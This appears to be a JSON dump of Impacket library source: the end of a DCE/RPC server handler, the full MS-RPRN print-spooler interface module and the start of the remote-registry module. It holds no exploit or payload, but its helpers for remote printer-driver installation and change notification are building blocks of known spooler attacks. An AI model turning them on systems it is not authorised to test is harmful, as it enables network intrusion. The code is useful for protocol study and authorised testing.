bin_to_string(item['AbstractSyntax']))\n\n            resp['ctx_num']             += 1\n            itemResult                   = CtxItemResult()\n            itemResult['Result']         = result\n            itemResult['Reason']         = reason\n            itemResult['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)\n            ctx_items                   += itemResult.getData()\n\n        resp['Pad']              ='A'*((4-((resp[\"SecondaryAddrLen\"]+MSRPCBindAck._SIZE) % 4))%4)\n        resp['ctx_items'] = ctx_items\n        resp['frag_len']  = len(resp.getData())\n\n        self._clientSock.send(resp.getData())\n        return None\n\n    def processRequest(self,data):\n        packet = MSRPCHeader(data)\n        if packet['type'] == MSRPC_BIND:\n            bind   = MSRPCBind(packet['pduData'])\n            self.bind(packet, bind)\n            packet = None\n        elif packet['type'] == MSRPC_REQUEST and not self._listenUUIDS.get(self._boundUUID) is None:\n            request          = MSRPCRequestHeader(data)\n            response         = MSRPCRespHeader(data)\n            response['type'] = MSRPC_RESPONSE\n            # Serve the opnum requested, if not, fails\n            if request['op_num'] in self._listenUUIDS[self._boundUUID]['CallBacks']:\n                # Call the function \n                returnData          = self._listenUUIDS[self._boundUUID]['CallBacks'][request['op_num']](request['pduData'])\n                response['pduData'] = returnData\n            else:\n                LOG.error('Unsupported DCERPC opnum %d called for interface %s' % (request['op_num'], bin_to_uuidtup(self._boundUUID)))\n                response['type']    = MSRPC_FAULT\n                response['pduData'] = pack('<L',0x000006E4)\n            response['frag_len'] = len(response)\n            return response\n        else:\n            # Defaults to a fault\n            packet         = MSRPCRespHeader(data)\n            packet['type'] = MSRPC_FAULT\n\n        return packet\n"
  },
  {
    "path": "impacket/dcerpc/v5/rprn.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-RPRN] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom impacket import system_errors\nfrom impacket.dcerpc.v5.dtypes import ULONGLONG, UINT, USHORT, LPWSTR, DWORD, ULONG, NULL\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_RPRN = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] \n            return 'RPRN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'RPRN SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.1.1.7 STRING_HANDLE\nSTRING_HANDLE = LPWSTR\nclass PSTRING_HANDLE(NDRPOINTER):\n    referent = (\n        ('Data', STRING_HANDLE),\n    )\n\n# 2.2.3.1 Access Values\nJOB_ACCESS_ADMINISTER         = 0x00000010\nJOB_ACCESS_READ               = 0x00000020\nJOB_EXECUTE                   = 0x00020010\nJOB_READ                      = 0x00020020\nJOB_WRITE                     = 0x00020010\nJOB_ALL_ACCESS                = 0x000F0030\nPRINTER_ACCESS_ADMINISTER     = 0x00000004\nPRINTER_ACCESS_USE            = 0x00000008\nPRINTER_ACCESS_MANAGE_LIMITED = 0x00000040\nPRINTER_ALL_ACCESS            = 0x000F000C\nPRINTER_EXECUTE               = 0x00020008\nPRINTER_READ                  = 0x00020008\nPRINTER_WRITE                 = 0x00020008\nSERVER_ACCESS_ADMINISTER      = 0x00000001\nSERVER_ACCESS_ENUMERATE       = 0x00000002\nSERVER_ALL_ACCESS             = 0x000F0003\nSERVER_EXECUTE                = 0x00020002\nSERVER_READ                   = 0x00020002\nSERVER_WRITE                  = 0x00020003\nSPECIFIC_RIGHTS_ALL           = 0x0000FFFF\nSTANDARD_RIGHTS_ALL           = 0x001F0000\nSTANDARD_RIGHTS_EXECUTE       = 0x00020000\nSTANDARD_RIGHTS_READ          = 0x00020000\nSTANDARD_RIGHTS_REQUIRED      = 0x000F0000\nSTANDARD_RIGHTS_WRITE         = 0x00020000\nSYNCHRONIZE                   = 0x00100000\nDELETE                        = 0x00010000\nREAD_CONTROL                  = 0x00020000\nWRITE_DAC                     = 0x00040000\nWRITE_OWNER                   = 0x00080000\nGENERIC_READ                  = 0x80000000\nGENERIC_WRITE                 = 0x40000000\nGENERIC_EXECUTE               = 0x20000000\nGENERIC_ALL                   = 0x10000000\n\n# 2.2.3.6.1 Printer Change Flags for Use with a Printer Handle\nPRINTER_CHANGE_SET_PRINTER        = 0x00000002\nPRINTER_CHANGE_DELETE_PRINTER     = 0x00000004\nPRINTER_CHANGE_PRINTER            = 0x000000FF\nPRINTER_CHANGE_ADD_JOB            = 0x00000100\nPRINTER_CHANGE_SET_JOB            = 0x00000200\nPRINTER_CHANGE_DELETE_JOB         = 0x00000400\nPRINTER_CHANGE_WRITE_JOB          = 0x00000800\nPRINTER_CHANGE_JOB                = 0x0000FF00\nPRINTER_CHANGE_SET_PRINTER_DRIVER = 0x20000000\nPRINTER_CHANGE_TIMEOUT            = 0x80000000\nPRINTER_CHANGE_ALL                = 0x7777FFFF\nPRINTER_CHANGE_ALL_2              = 0x7F77FFFF\n\n# 2.2.3.6.2 Printer Change Flags for Use with a Server Handle\nPRINTER_CHANGE_ADD_PRINTER_DRIVER        = 0x10000000\nPRINTER_CHANGE_DELETE_PRINTER_DRIVER     = 0x40000000\nPRINTER_CHANGE_PRINTER_DRIVER            = 0x70000000\nPRINTER_CHANGE_ADD_FORM                  = 0x00010000\nPRINTER_CHANGE_DELETE_FORM               = 0x00040000\nPRINTER_CHANGE_SET_FORM                  = 0x00020000\nPRINTER_CHANGE_FORM                      = 0x00070000\nPRINTER_CHANGE_ADD_PORT                  = 0x00100000\nPRINTER_CHANGE_CONFIGURE_PORT            = 0x00200000\nPRINTER_CHANGE_DELETE_PORT               = 0x00400000\nPRINTER_CHANGE_PORT                      = 0x00700000\nPRINTER_CHANGE_ADD_PRINT_PROCESSOR       = 0x01000000\nPRINTER_CHANGE_DELETE_PRINT_PROCESSOR    = 0x04000000\nPRINTER_CHANGE_PRINT_PROCESSOR           = 0x07000000\nPRINTER_CHANGE_ADD_PRINTER               = 0x00000001\nPRINTER_CHANGE_FAILED_CONNECTION_PRINTER = 0x00000008\nPRINTER_CHANGE_SERVER                    = 0x08000000\n\n# 2.2.3.7 Printer Enumeration Flags\nPRINTER_ENUM_LOCAL       = 0x00000002\nPRINTER_ENUM_CONNECTIONS = 0x00000004\nPRINTER_ENUM_NAME        = 0x00000008\nPRINTER_ENUM_REMOTE      = 0x00000010\nPRINTER_ENUM_SHARED      = 0x00000020\nPRINTER_ENUM_NETWORK     = 0x00000040\nPRINTER_ENUM_EXPAND      = 0x00004000\nPRINTER_ENUM_CONTAINER   = 0x00008000\nPRINTER_ENUM_ICON1       = 0x00010000\nPRINTER_ENUM_ICON2       = 0x00020000\nPRINTER_ENUM_ICON3       = 0x00040000\nPRINTER_ENUM_ICON8       = 0x00800000\nPRINTER_ENUM_HIDE        = 0x01000000\n\n\n# 2.2.3.8 Printer Notification Values\nPRINTER_NOTIFY_CATEGORY_2D  = 0x00000000\nPRINTER_NOTIFY_CATEGORY_ALL = 0x00010000\nPRINTER_NOTIFY_CATEGORY_3D  = 0x00020000\n\n\n# 3.1.4.4.8 RpcAddPrinterDriverEx Values\nAPD_STRICT_UPGRADE              = 0x00000001\nAPD_STRICT_DOWNGRADE            = 0x00000002\nAPD_COPY_ALL_FILES              = 0x00000004\nAPD_COPY_NEW_FILES              = 0x00000008\nAPD_COPY_FROM_DIRECTORY         = 0x00000010\nAPD_DONT_COPY_FILES_TO_CLUSTER  = 0x00001000\nAPD_COPY_TO_ALL_SPOOLERS        = 0x00002000\nAPD_INSTALL_WARNED_DRIVER       = 0x00008000\nAPD_RETURN_BLOCKING_STATUS_CODE = 0x00010000\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.1.1.4 PRINTER_HANDLE\nclass PRINTER_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=b\"\"'),\n    )\n    def getAlignment(self):\n        if self._isNDR64 is True:\n            return 8\n        else:\n            return 4\n\n# 2.2.1.2.1 DEVMODE_CONTAINER\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass PBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', BYTE_ARRAY),\n    )\n\nclass DEVMODE_CONTAINER(NDRSTRUCT):\n    structure =  (\n        ('cbBuf',DWORD),\n        ('pDevMode',PBYTE_ARRAY),\n    )\n\n# 2.2.1.11.1 SPLCLIENT_INFO_1\nclass SPLCLIENT_INFO_1(NDRSTRUCT):\n    structure =  (\n        ('dwSize',DWORD),\n        ('pMachineName',LPWSTR),\n        ('pUserName',LPWSTR),\n        ('dwBuildNum',DWORD),\n        ('dwMajorVersion',DWORD),\n        ('dwMinorVersion',DWORD),\n        ('wProcessorArchitecture',USHORT),\n    )\n\nclass PSPLCLIENT_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', SPLCLIENT_INFO_1),\n    )\n\n# 2.2.1.11.2 SPLCLIENT_INFO_2\nclass SPLCLIENT_INFO_2(NDRSTRUCT):\n    structure =  (\n        ('notUsed',ULONGLONG),\n    )\n\nclass PSPLCLIENT_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', SPLCLIENT_INFO_2),\n    )\n# 2.2.1.11.3 SPLCLIENT_INFO_3\nclass SPLCLIENT_INFO_3(NDRSTRUCT):\n    structure =  (\n        ('cbSize',UINT),\n        ('dwFlags',DWORD),\n        ('dwFlags',DWORD),\n        ('pMachineName',LPWSTR),\n        ('pUserName',LPWSTR),\n        ('dwBuildNum',DWORD),\n        ('dwMajorVersion',DWORD),\n        ('dwMinorVersion',DWORD),\n        ('wProcessorArchitecture',USHORT),\n        ('hSplPrinter',ULONGLONG),\n    )\n\nclass PSPLCLIENT_INFO_3(NDRPOINTER):\n    referent = (\n        ('Data', SPLCLIENT_INFO_3),\n    )\n\n# 2.2.1.5.1 DRIVER_INFO_1\nclass DRIVER_INFO_1(NDRSTRUCT):\n    structure = (\n        ('pName', STRING_HANDLE ),\n    )\nclass PDRIVER_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', DRIVER_INFO_1),\n    )\n\n# 2.2.1.5.2 DRIVER_INFO_2\nclass DRIVER_INFO_2(NDRSTRUCT):\n    structure = (\n        ('cVersion',DWORD),\n        ('pName', LPWSTR),\n        ('pEnvironment', LPWSTR),\n        ('pDriverPath', LPWSTR),\n        ('pDataFile', LPWSTR),\n        ('pConfigFile', LPWSTR),\n    )\nclass PDRIVER_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', DRIVER_INFO_2),\n    )\n\n# 2.2.1.2.3 DRIVER_CONTAINER\nclass DRIVER_INFO_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n    union = {\n        1 : ('pNotUsed', PDRIVER_INFO_1),\n        2 : ('Level2', PDRIVER_INFO_2),\n    }\n\nclass DRIVER_CONTAINER(NDRSTRUCT):\n    structure =  (\n        ('Level', DWORD),\n        ('DriverInfo', DRIVER_INFO_UNION),\n    )\n\n# 2.2.1.2.14 SPLCLIENT_CONTAINER\nclass CLIENT_INFO_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n    union = {\n        1 : ('pClientInfo1', PSPLCLIENT_INFO_1),\n        2 : ('pNotUsed1', PSPLCLIENT_INFO_2),\n        3 : ('pNotUsed2', PSPLCLIENT_INFO_3),\n    }\n\nclass SPLCLIENT_CONTAINER(NDRSTRUCT):\n    structure =  (\n        ('Level',DWORD),\n        ('ClientInfo',CLIENT_INFO_UNION),\n    )\n\n# 2.2.1.13.2 RPC_V2_NOTIFY_OPTIONS_TYPE\nclass USHORT_ARRAY(NDRUniConformantArray):\n    item = '<H'\n\nclass PUSHORT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', USHORT_ARRAY),\n    )\n\nclass RPC_V2_NOTIFY_OPTIONS_TYPE(NDRSTRUCT):\n    structure =  (\n        ('Type',USHORT),\n        ('Reserved0',USHORT),\n        ('Reserved1',DWORD),\n        ('Reserved2',DWORD),\n        ('Count',DWORD),\n        ('pFields',PUSHORT_ARRAY),\n    )\n\nclass PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', RPC_V2_NOTIFY_OPTIONS_TYPE),\n    )\n\n# 2.2.1.13.1 RPC_V2_NOTIFY_OPTIONS\nclass RPC_V2_NOTIFY_OPTIONS(NDRSTRUCT):\n    structure =  (\n        ('Version',DWORD),\n        ('Reserved',DWORD),\n        ('Count',DWORD),\n        ('pTypes',PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY),\n    )\n\nclass PRPC_V2_NOTIFY_OPTIONS(NDRPOINTER):\n    referent = (\n        ('Data', RPC_V2_NOTIFY_OPTIONS),\n    )\n\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.2.1 RpcEnumPrinters (Opnum 0)\nclass RpcEnumPrinters(NDRCALL):\n    opnum = 0\n    structure = (\n       ('Flags', DWORD),\n       ('Name', STRING_HANDLE),\n       ('Level', DWORD),\n       ('pPrinterEnum', PBYTE_ARRAY),\n       ('cbBuf', DWORD),\n    )\n\nclass RpcEnumPrintersResponse(NDRCALL):\n    structure = (\n       ('pPrinterEnum', PBYTE_ARRAY),\n       ('pcbNeeded', DWORD),\n       ('pcReturned', DWORD),\n       ('ErrorCode', ULONG),\n    )\n# 3.1.4.2.2 RpcOpenPrinter (Opnum 1)\nclass RpcOpenPrinter(NDRCALL):\n    opnum = 1\n    structure = (\n       ('pPrinterName', STRING_HANDLE),\n       ('pDatatype', LPWSTR),\n       ('pDevModeContainer', DEVMODE_CONTAINER),\n       ('AccessRequired', DWORD),\n    )\n\nclass RpcOpenPrinterResponse(NDRCALL):\n    structure = (\n       ('pHandle', PRINTER_HANDLE),\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.2.9 RpcClosePrinter (Opnum 29)\nclass RpcClosePrinter(NDRCALL):\n    opnum = 29\n    structure = (\n       ('phPrinter', PRINTER_HANDLE),\n    )\n\nclass RpcClosePrinterResponse(NDRCALL):\n    structure = (\n       ('phPrinter', PRINTER_HANDLE),\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.10.4 RpcRemoteFindFirstPrinterChangeNotificationEx (Opnum 65)\nclass RpcRemoteFindFirstPrinterChangeNotificationEx(NDRCALL):\n    opnum = 65\n    structure = (\n       ('hPrinter', PRINTER_HANDLE),\n       ('fdwFlags', DWORD),\n       ('fdwOptions', DWORD),\n       ('pszLocalMachine', LPWSTR),\n       ('dwPrinterLocal', DWORD),\n       ('pOptions', PRPC_V2_NOTIFY_OPTIONS),\n    )\n\nclass RpcRemoteFindFirstPrinterChangeNotificationExResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.2.14 RpcOpenPrinterEx (Opnum 69)\nclass RpcOpenPrinterEx(NDRCALL):\n    opnum = 69\n    structure = (\n       ('pPrinterName', STRING_HANDLE),\n       ('pDatatype', LPWSTR),\n       ('pDevModeContainer', DEVMODE_CONTAINER),\n       ('AccessRequired', DWORD),\n       ('pClientInfo', SPLCLIENT_CONTAINER),\n    )\n\nclass RpcOpenPrinterExResponse(NDRCALL):\n    structure = (\n       ('pHandle', PRINTER_HANDLE),\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.4.2 RpcEnumPrinterDrivers (Opnum 10)\nclass RpcEnumPrinterDrivers(NDRCALL):\n    opnum = 10\n    structure = (\n       ('pName', STRING_HANDLE),\n       ('pEnvironment', LPWSTR),\n       ('Level', DWORD),\n       ('pDrivers', PBYTE_ARRAY),\n       ('cbBuf', DWORD),\n    )\n\nclass RpcEnumPrinterDriversResponse(NDRCALL):\n    structure = (\n       ('pDrivers', PBYTE_ARRAY),\n       ('pcbNeeded', DWORD),\n       ('pcReturned', DWORD),\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.4.4 RpcGetPrinterDriverDirectory (Opnum 12)\nclass RpcGetPrinterDriverDirectory(NDRCALL):\n   opnum = 12\n   structure = (\n       ('pName', STRING_HANDLE),\n       ('pEnvironment', LPWSTR),\n       ('Level', DWORD),\n       ('pDriverDirectory', PBYTE_ARRAY),\n       ('cbBuf', DWORD)\n   )\n   \nclass RpcGetPrinterDriverDirectoryResponse(NDRCALL):\n    structure = (\n       ('pDriverDirectory', PBYTE_ARRAY),\n       ('pcbNeeded', DWORD),\n       ('ErrorCode', ULONG)\n    )\n\n# 3.1.4.4.8 RpcAddPrinterDriverEx (Opnum 89)\nclass RpcAddPrinterDriverEx(NDRCALL):\n    opnum = 89\n    structure = (\n       ('pName', STRING_HANDLE),\n       ('pDriverContainer', DRIVER_CONTAINER),\n       ('dwFileCopyFlags', DWORD),\n    )\n\nclass RpcAddPrinterDriverExResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n    0  : (RpcEnumPrinters, RpcEnumPrintersResponse),\n    1  : (RpcOpenPrinter, RpcOpenPrinterResponse),\n    10 : (RpcEnumPrinterDrivers, RpcEnumPrinterDriversResponse),\n    12 : (RpcGetPrinterDriverDirectory, RpcGetPrinterDriverDirectoryResponse),\n    29 : (RpcClosePrinter, RpcClosePrinterResponse),\n    65 : (RpcRemoteFindFirstPrinterChangeNotificationEx, RpcRemoteFindFirstPrinterChangeNotificationExResponse),\n    69 : (RpcOpenPrinterEx, RpcOpenPrinterExResponse),\n    89 : (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hRpcOpenPrinter(dce, printerName, pDatatype = NULL, pDevModeContainer = NULL, accessRequired = SERVER_READ):\n    \"\"\"\n    RpcOpenPrinter retrieves a handle for a printer, port, port monitor, print job, or print server.\n    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244808.aspx\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param string printerName: A string for a printer connection, printer object, server object, job object, port\n    object, or port monitor object. This MUST be a Domain Name System (DNS), NetBIOS, Internet Protocol version 4\n    (IPv4), Internet Protocol version 6 (IPv6), or Universal Naming Convention (UNC) name that remote procedure\n    call (RPC) binds to, and it MUST uniquely identify a print server on the network.\n    :param string pDatatype: A string that specifies the data type to be associated with the printer handle.\n    :param DEVMODE_CONTAINER pDevModeContainer: A DEVMODE_CONTAINER structure. This parameter MUST adhere to the specification in\n    DEVMODE_CONTAINER Parameters (section 3.1.4.1.8.1).\n    :param int accessRequired: The access level that the client requires for interacting with the object to which a\n    handle is being opened.\n\n    :return: a RpcOpenPrinterResponse instance, raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcOpenPrinter()\n    request['pPrinterName'] = checkNullString(printerName)\n    request['pDatatype'] = pDatatype\n    if pDevModeContainer is NULL:\n        request['pDevModeContainer']['pDevMode'] = NULL\n    else:\n        request['pDevModeContainer'] = pDevModeContainer\n\n    request['AccessRequired'] = accessRequired\n    return dce.request(request)\n\ndef hRpcClosePrinter(dce, phPrinter):\n    \"\"\"\n    RpcClosePrinter closes a handle to a printer object, server object, job object, or port object.\n    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244768.aspx\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param PRINTER_HANDLE phPrinter: A handle to a printer object, server object, job object, or port object.\n\n    :return: a RpcClosePrinterResponse instance, raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcClosePrinter()\n    request['phPrinter'] = phPrinter\n    return dce.request(request)\n\n\ndef hRpcOpenPrinterEx(dce, printerName, pDatatype=NULL, pDevModeContainer=NULL, accessRequired=SERVER_READ,\n                      pClientInfo=NULL):\n    \"\"\"\n    RpcOpenPrinterEx retrieves a handle for a printer, port, port monitor, print job, or print server\n    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244809.aspx\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param string printerName: A string for a printer connection, printer object, server object, job object, port\n    object, or port monitor object. This MUST be a Domain Name System (DNS), NetBIOS, Internet Protocol version 4\n    (IPv4), Internet Protocol version 6 (IPv6), or Universal Naming Convention (UNC) name that remote procedure\n    call (RPC) binds to, and it MUST uniquely identify a print server on the network.\n    :param string pDatatype: A string that specifies the data type to be associated with the printer handle.\n    :param DEVMODE_CONTAINER pDevModeContainer: A DEVMODE_CONTAINER structure. This parameter MUST adhere to the specification in\n    DEVMODE_CONTAINER Parameters (section 3.1.4.1.8.1).\n    :param int accessRequired: The access level that the client requires for interacting with the object to which a\n    handle is being opened.\n    :param SPLCLIENT_CONTAINER pClientInfo: This parameter MUST adhere to the specification in SPLCLIENT_CONTAINER Parameters.\n\n    :return: a RpcOpenPrinterExResponse instance, raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcOpenPrinterEx()\n    request['pPrinterName'] = checkNullString(printerName)\n    request['pDatatype'] = pDatatype\n    if pDevModeContainer is NULL:\n        request['pDevModeContainer']['pDevMode'] = NULL\n    else:\n        request['pDevModeContainer'] = pDevModeContainer\n\n    request['AccessRequired'] = accessRequired\n    if pClientInfo is NULL:\n        raise Exception('pClientInfo cannot be NULL')\n\n    request['pClientInfo'] = pClientInfo\n    return dce.request(request)\n\n\ndef hRpcRemoteFindFirstPrinterChangeNotificationEx(dce, hPrinter, fdwFlags, fdwOptions=0, pszLocalMachine=NULL,\n                                                   dwPrinterLocal=0, pOptions=NULL):\n    \"\"\"\n    creates a remote change notification object that monitors changes to printer objects and sends change notifications\n    to a print client using either RpcRouterReplyPrinter (section 3.2.4.1.2) or RpcRouterReplyPrinterEx (section 3.2.4.1.4)\n    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244813.aspx\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param PRINTER_HANDLE hPrinter: A handle to a printer or server object.\n    :param int fdwFlags: Flags that specify the conditions that are required for a change notification object to enter a signaled state.\n    :param int fdwOptions: The category of printers for which change notifications are returned.\n    :param string pszLocalMachine: A string that represents the name of the client computer.\n    :param int dwPrinterLocal: An implementation-specific unique value that MUST be sufficient for the client to determine\n    whether a call to RpcReplyOpenPrinter by the server is associated with the hPrinter parameter in this call.\n    :param RPC_V2_NOTIFY_OPTIONS pOptions:  An RPC_V2_NOTIFY_OPTIONS structure that specifies printer or job members that the client listens to for notifications.\n\n    :return: a RpcRemoteFindFirstPrinterChangeNotificationExResponse instance, raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcRemoteFindFirstPrinterChangeNotificationEx()\n\n    request['hPrinter'] = hPrinter\n    request['fdwFlags'] = fdwFlags\n    request['fdwOptions'] = fdwOptions\n    request['dwPrinterLocal'] = dwPrinterLocal\n    if pszLocalMachine is NULL:\n        raise Exception('pszLocalMachine cannot be NULL')\n    request['pszLocalMachine'] = checkNullString(pszLocalMachine)\n    request['pOptions'] = pOptions\n    return dce.request(request)\n\ndef hRpcEnumPrinters(dce, flags, name = NULL, level = 1):\n    \"\"\"\n    RpcEnumPrinters enumerates available printers, print servers, domains, or print providers.\n    Full Documentation: https://msdn.microsoft.com/en-us/library/cc244794.aspx\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param int flags: The types of print objects that this method enumerates. The value of this parameter is the\n    result of a bitwise OR of one or more of the Printer Enumeration Flags (section 2.2.3.7).\n    :param string name: NULL or a server name parameter as specified in Printer Server Name Parameters (section 3.1.4.1.4).\n    :param level: The level of printer information structure.\n\n    :return: a RpcEnumPrintersResponse instance, raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcEnumPrinters()\n    request['Flags'] = flags\n    request['Name'] = name\n    request['pPrinterEnum'] = NULL\n    request['Level'] = level\n    bytesNeeded = 0\n    try:\n        dce.request(request)\n    except DCERPCSessionError as e:\n        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:\n            raise\n        bytesNeeded = e.get_packet()['pcbNeeded']\n\n    request = RpcEnumPrinters()\n    request['Flags'] = flags\n    request['Name'] = name\n    request['Level'] = level\n\n    request['cbBuf'] = bytesNeeded\n    request['pPrinterEnum'] = b'a' * bytesNeeded\n    return dce.request(request)\n\n\ndef hRpcAddPrinterDriverEx(dce, pName, pDriverContainer, dwFileCopyFlags):\n    \"\"\"\n    RpcAddPrinterDriverEx installs a printer driver on the print server\n    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param pName\n    :param pDriverContainer\n    :param dwFileCopyFlags\n\n    :return: raises DCERPCSessionError on error.\n    \"\"\"\n    request = RpcAddPrinterDriverEx()\n    request['pName'] = checkNullString(pName)\n    request['pDriverContainer'] = pDriverContainer\n    request['dwFileCopyFlags'] = dwFileCopyFlags\n\n    #return request\n    return dce.request(request)\n\n\ndef hRpcEnumPrinterDrivers(dce, pName, pEnvironment, Level):\n    \"\"\"\n    RpcEnumPrinterDrivers enumerates the printer drivers installed on a specified print server.\n    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param pName\n    :param pEnvironment\n    :param Level\n    :param pDrivers\n    :param cbBuf\n    :param pcbNeeded\n    :param pcReturned\n\n    :return: raises DCERPCSessionError on error.\n    \"\"\"\n    # get value for cbBuf\n    request = RpcEnumPrinterDrivers()\n    request['pName']        = checkNullString(pName)\n    request['pEnvironment'] = pEnvironment\n    request['Level']        = Level\n    request['pDrivers']     = NULL\n    request['cbBuf']        = 0\n    try:\n        dce.request(request)\n    except DCERPCSessionError as e:\n        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:\n            raise\n        bytesNeeded = e.get_packet()['pcbNeeded']\n\n    # now do RpcEnumPrinterDrivers again\n    request = RpcEnumPrinterDrivers()\n    request['pName']        = checkNullString(pName)\n    request['pEnvironment'] = pEnvironment\n    request['Level']        = Level\n    request['pDrivers']     = b'a' * bytesNeeded\n    request['cbBuf']        = bytesNeeded\n\n    #return request\n    return dce.request(request)\n\ndef hRpcGetPrinterDriverDirectory(dce, pName, pEnvironment, Level):\n    \"\"\"\n    RpcGetPrinterDriverDirectory retrieves the path of the printer driver directory.\n    Full Documentation: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9df11cf4-4098-4852-ad72-d1f75a82bffe\n\n    :param DCERPC_v5 dce: a connected DCE instance.\n    :param pName\n    :param pEnvironment\n    :param Level\n    :param pDriverDirectory\n    :param cbBuf\n    :param pcbNeeded\n\n    :return: raises DCERPCSessionError on error.\n    \"\"\"\n    # get value for cbBuf\n    request = RpcGetPrinterDriverDirectory()\n    request['pName']            = checkNullString(pName)\n    request['pEnvironment']     = pEnvironment\n    request['Level']            = Level\n    request['pDriverDirectory'] = NULL\n    request['cbBuf']            = 0\n    try:\n        dce.request(request)\n    except DCERPCSessionError as e:\n        if str(e).find('ERROR_INSUFFICIENT_BUFFER') < 0:\n            raise\n        bytesNeeded = e.get_packet()['pcbNeeded']\n    \n    # now do RpcGetPrinterDriverDirectory again\n    request = RpcGetPrinterDriverDirectory()\n    request['pName']            = checkNullString(pName)\n    request['pEnvironment']     = pEnvironment\n    request['Level']            = Level\n    request['pDriverDirectory'] = b'a' * bytesNeeded\n    request['cbBuf']            = bytesNeeded\n    \n    return dce.request(request)\n"
  },
  {
    "path": "impacket/dcerpc/v5/rrp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-RRP] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\n\nfrom struct import unpack, pack\n\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantVaryingArray, NDRUniConformantArray\nfrom impacket.dcerpc.v5.dtypes import DWORD, UUID, ULONG, LPULONG, BOOLEAN, SECURITY_INFORMATION, PFILETIME, \\\n    RPC_UNICODE_STRING, FILETIME, NULL, MAXIMUM_ALLOWED, OWNER_SECURITY_INFORMATION, 